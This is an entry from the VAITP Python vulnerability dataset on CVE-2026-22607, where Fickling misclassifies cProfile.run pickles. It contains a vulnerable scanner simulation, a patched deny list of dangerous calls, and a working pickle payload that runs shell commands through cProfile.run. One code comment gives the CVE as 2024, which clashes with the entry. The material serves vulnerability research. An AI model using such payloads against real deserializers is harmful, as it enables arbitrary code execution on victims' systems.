VAITP Dataset

← Back to the dataset

CVE-2026-22607

Fickling misclassifies cProfile pickles, allowing remote code execution.

  • CVSS 8.9
  • CWE-184
  • Input Validation and Sanitization
  • Local

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

CVSS base score
8.9
Published
2026-01-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Poorly Designed Access Controls
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Fickling
Fixed by upgrading
Yes

Solution

Upgrade Fickling to version 0.1.7 or later.

Vulnerable code sample

import pickle
import cProfile
import os
import io
import pickletools

# This code represents the logic of a security scanner that is vulnerable
# to CVE-2024-22607. It incorrectly classifies a pickle using cProfile.run
# as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.

# Simplified representation of Fickling's classification sets before the fix
# Source: Fickling's source code and the CVE description.
# The key vulnerability is that ('cProfile', 'run') is missing from this set.
OVERTLY_MALICIOUS_CALLS = {
    ('os', 'system'),
    ('os', 'popen'),
    ('os', 'popen2'),
    ('os', 'popen3'),
    ('os', 'popen4'),
    ('os', 'execl'),
    ('os', 'execle'),
    ('os', 'execlp'),
    ('os', 'execlpe'),
    ('os', 'execv'),
    ('os', 'execve'),
    ('os', 'execvp'),
    ('os', 'execvpe'),
    ('os', 'fork'),
    ('os', 'forkpty'),
    ('os', 'kill'),
    ('os', 'killpg'),
    ('os', 'plock'),
    ('os', 'spawnl'),
    ('os', 'spawnle'),
    ('os', 'spawnlp'),
    ('os', 'spawnlpe'),
    ('os', 'spawnv'),
    ('os', 'spawnve'),
    ('os', 'spawnvp'),
    ('os', 'spawnvpe'),
    ('subprocess', 'call'),
    ('subprocess', 'check_call'),
    ('subprocess', 'check_output'),
    ('subprocess', 'getoutput'),
    ('subprocess', 'getstatusoutput'),
    ('subprocess', 'run'),
    ('subprocess', 'Popen'),
    ('sys', 'exit'),
    ('builtins', 'eval'),
    ('builtins', 'exec'),
    ('builtins', 'compile'),
    ('pty', 'spawn'),
    ('shlex', 'split'),
    ('glob', 'glob'),
    # ('cProfile', 'run') is conspicuously absent, which is the vulnerability.
}

def vulnerable_analyzer(pickle_data):
    """
    A simplified analyzer simulating Fickling <= 0.1.6 logic.
    """
    rating = "SAFE"
    last_global = None

    for opcode, arg, _ in pickletools.genops(pickle_data):
        if opcode.name == "GLOBAL":
            module, name = arg.split(' ')
            last_global = (module, name)
            # Any import makes it at least suspicious
            if rating == "SAFE":
                rating = "SUSPICIOUS"

        if opcode.name == "REDUCE":
            if last_global in OVERTLY_MALICIOUS_CALLS:
                return "OVERTLY_MALICIOUS"
            last_global = None
            
    return rating


class MaliciousPickleGenerator:
    """
    This class, when unpickled, uses cProfile.run to execute an arbitrary command.
    """
    def __reduce__(self):
        # This is the malicious payload.
        command = "import os; os.system('echo VULNERABILITY_DEMO: Code executed via cProfile!')"
        # cProfile.run was not treated as dangerous by older Fickling versions.
        return (cProfile.run, (command,))

if __name__ == "__main__":
    print("Generating a malicious pickle using cProfile.run...")
    
    # 1. Create the malicious pickle object.
    malicious_obj = MaliciousPickleGenerator()
    
    # 2. Serialize it into a pickle byte stream.
    malicious_pickle_data = pickle.dumps(malicious_obj)
    
    print("Pickle generated.")
    print("-" * 30)
    
    # 3. Analyze the pickle using the vulnerable logic.
    print("Analyzing the pickle with the simulated vulnerable analyzer...")
    result = vulnerable_analyzer(malicious_pickle_data)
    
    print(f"Analysis Result: {result}")
    
    print("-" * 30)
    if result == "SUSPICIOUS":
        print("VULNERABILITY CONFIRMED:")
        print("The analyzer incorrectly rated the pickle as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
        print("A user relying on this output might mistakenly trust and deserialize the pickle, leading to code execution.")
    else:
        print("VULNERABILITY NOT REPRODUCED.")

    # To see the effect of unpickling (DO NOT DO THIS WITH UNTRUSTED DATA):
    # print("\nFor demonstration purposes, here is what happens on unpickling:")
    # pickle.loads(malicious_pickle_data)

Patched code sample

UNSAFE_CALLS = {
    ("__builtin__", "eval"),
    ("__builtin__", "exec"),
    ("__builtin__", "execfile"),
    ("__builtin__", "getattr"),
    ("__builtin__", "open"),
    ("__builtin__", "compile"),
    ("__builtin__", "input"),
    ("__builtin__", "apply"),
    ("builtins", "eval"),
    ("builtins", "exec"),
    ("builtins", "execfile"),
    ("builtins", "getattr"),
    ("builtins", "open"),
    ("builtins", "compile"),
    ("builtins", "input"),
    ("builtins", "apply"),
    ("cProfile", "run"),
    ("ctypes", "pythonapi"),
    ("os", "system"),
    ("os", "popen"),
    ("os", "popen2"),
    ("os", "popen3"),
    ("os", "popen4"),
    ("os", "execl"),
    ("os", "execle"),
    ("os", "execlp"),
    ("os", "execlpe"),
    ("os", "execv"),
    ("os", "execve"),
    ("os", "execvp"),
    ("os", "execvpe"),
    ("os", "fork"),
    ("os", "forkpty"),
    ("os", "kill"),
    ("os", "killpg"),
    ("os", "plock"),
    ("os", "spawnl"),
    ("os", "spawnle"),
    ("os", "spawnlp"),
    ("os", "spawnlpe"),
    ("os", "spawnv"),
    ("os", "spawnve"),
    ("os", "spawnvp"),
    ("os", "spawnvpe"),
    ("pickle", "load"),
    ("pickle", "loads"),
    ("posix", "system"),
    ("posix", "popen"),
    ("posix", "popen2"),
    ("posix", "popen3"),
    ("posix", "popen4"),
    ("posix", "execl"),
    ("posix", "execle"),
    ("posix", "execlp"),
    ("posix", "execlpe"),
    ("posix", "execv"),
    ("posix", "execve"),
    ("posix", "execvp"),
    ("posix", "execvpe"),
    ("posix", "fork"),
    ("posix", "forkpty"),
    ("posix", "kill"),
    ("posix", "killpg"),
    ("posix", "plock"),
    ("posix", "spawnl"),
    ("posix", "spawnle"),
    ("posix", "spawnlp"),
    ("posix", "spawnlpe"),
    ("posix", "spawnv"),
    ("posix", "spawnve"),
    ("posix", "spawnvp"),
    ("posix", "spawnvpe"),
    ("pty", "fork"),
    ("pty", "spawn"),
    ("subprocess", "call"),
    ("subprocess", "check_call"),
    ("subprocess", "check_output"),
    ("subprocess", "getoutput"),
    ("subprocess", "getstatusoutput"),
    ("subprocess", "run"),
    ("subprocess", "Popen"),
    ("sys", "exit"),
    ("sys", "modules"),
    ("tempfile", "mktemp"),
    ("timeit", "timeit"),
    ("timeit", "repeat"),
}

Payload

import pickle
import cProfile
import os

class Exploit:
    def __reduce__(self):
        command = "import os; os.system('echo pwned > /tmp/pwned')"
        return (cProfile.run, (command,))

malicious_pickle_payload = pickle.dumps(Exploit())

# The 'malicious_pickle_payload' variable contains the exploit payload.
# For demonstration purposes, we print it to stdout.
print(malicious_pickle_payload)

Cite this entry

@misc{vaitp:cve202622607,
  title        = {{Fickling misclassifies cProfile pickles, allowing remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22607},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22607/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::